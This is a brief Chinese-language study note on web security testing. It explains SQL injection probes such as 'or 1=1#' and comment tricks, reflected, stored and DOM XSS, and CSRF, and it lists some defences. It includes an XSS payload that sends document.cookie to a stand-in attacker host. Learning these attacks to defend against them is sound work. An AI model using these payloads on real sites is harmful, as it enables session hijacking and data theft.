安全测试
sql注入,没有对用户输入的字符串进行过滤,转义;'or 1=1#
数字型注入
SELECT * FROM table WHERE id=1' 加单引号 ' 返回错误
SELECT * FROM table WHERE id=1 and 1 = 1 and 1 = 1 返回正确
SELECT * FROM table WHERE id=1 and 1 = 2 and 1 = 2 返回错误
字符型注入
SELECT * FROM table WHERE username = 'admin'‘ 加单引号 ' 返回错误
SELECT * FROM table WHERE username = 'admin' and 1 = 1 -- and 1 = 1 -- 返回正确 注释符 --(两条杠后面还有一个空格!!!)。
SELECT * FROM table WHERE username = 'admin' and 1 = 2 -- and 1 = 2 -- 返回错误
Xss攻击-跨站脚本攻击
一、反射性xss:xss代码提交服务器,服务器解析后响应,xss代码随响应内容返回到浏览器执行
二、存储型XSS:xss代码提交储存到服务器,用户下次请求加载服务器数据并显示
<script>window.open("www.gongji.com?param="+document.cookie)</script>
<script>alert(1)</script>
1、攻击者将恶意代码提交到目标网站数据库中。
2、用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到html中返回给浏览器中。
3、用户浏览器接收到响应后解析执行,那么其中的恶意代码也会被执行。
4、那么恶意代码执行后,就能获取到用户数据,比如上面的cookie等信息,那么把该cookie发送到攻击者网站中,那么攻击者拿到该
cookie然后会冒充该用户的行为,调用目标网站接口等违法操作。
三、DOM xss:浏览器的DOM解析
防范:
1. 后端需要对提交的数据进行过滤。
2. 前端也可以做一下处理方式,比如对script标签,将特殊字符替换成HTML编码这些等。
CSRF攻击-跨站请求伪造
原理:获取用户登录正常网站的cookie,在攻击者网站进行非法跨站请求操作正常网站
防护方法:
1、只使用JSON API
2、验证HTTP Referer字段
3、在请求地址中添加takon验证